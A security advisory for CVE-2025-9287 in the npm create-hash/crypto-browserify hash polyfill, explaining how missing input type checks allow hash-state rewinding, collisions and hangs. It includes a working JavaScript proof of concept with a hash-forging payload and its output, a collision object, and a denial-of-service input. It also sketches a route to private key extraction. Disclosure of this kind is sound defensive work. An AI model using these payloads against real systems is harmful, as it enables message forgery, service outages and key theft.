CVE-2025-9287

Description

### Summary This affects e.g. `create-hash` (and `crypto-browserify`), so I'll describe the issue against that package Also affects `create-hmac` and other packages Node.js `createHash` works only on strings or instances of Buffer, TypedArray, or DataView. Missing input type checks (in npm `create-hash` polyfill of Node.js `createHash`) can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour. ### Details See PoC ### PoC ```js const createHash = require('create-hash/browser.js') const { randomBytes } = require('crypto') const sha256 = (...messages) => { const hash = createHash('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') } const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload) // e.g. over network, whatever console.log(sha256(...validMessage)) console.log(sha256(...receivedMessage)) console.log(receivedMessage[0]) ``` Output: ``` 9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9 9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9 Hashed input means safe ``` This works with: ```js const forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }]) ``` But there are other types of input which lead to unchecked results ### Impact 1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. 2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }` This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js) 4. DoS on `{length:'1e99'}` 5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like [GHSA-vjh7-7g9h-fjfh](https://github.com/indutny/elliptic/security/advisories/GHSA-vjh7-7g9h-fjfh)) 6. Also, other typed arrays results are invalid, e.g. returned hash of `new Uint16Array(5)` is the same as `new Uint8Array(5)`, not `new Uint16Array(10)` as it should have been (and is in Node.js `crypto`) -- same for arrays with values non-zero, their hashes are just truncated to `%256` instead of converted to correct bytelength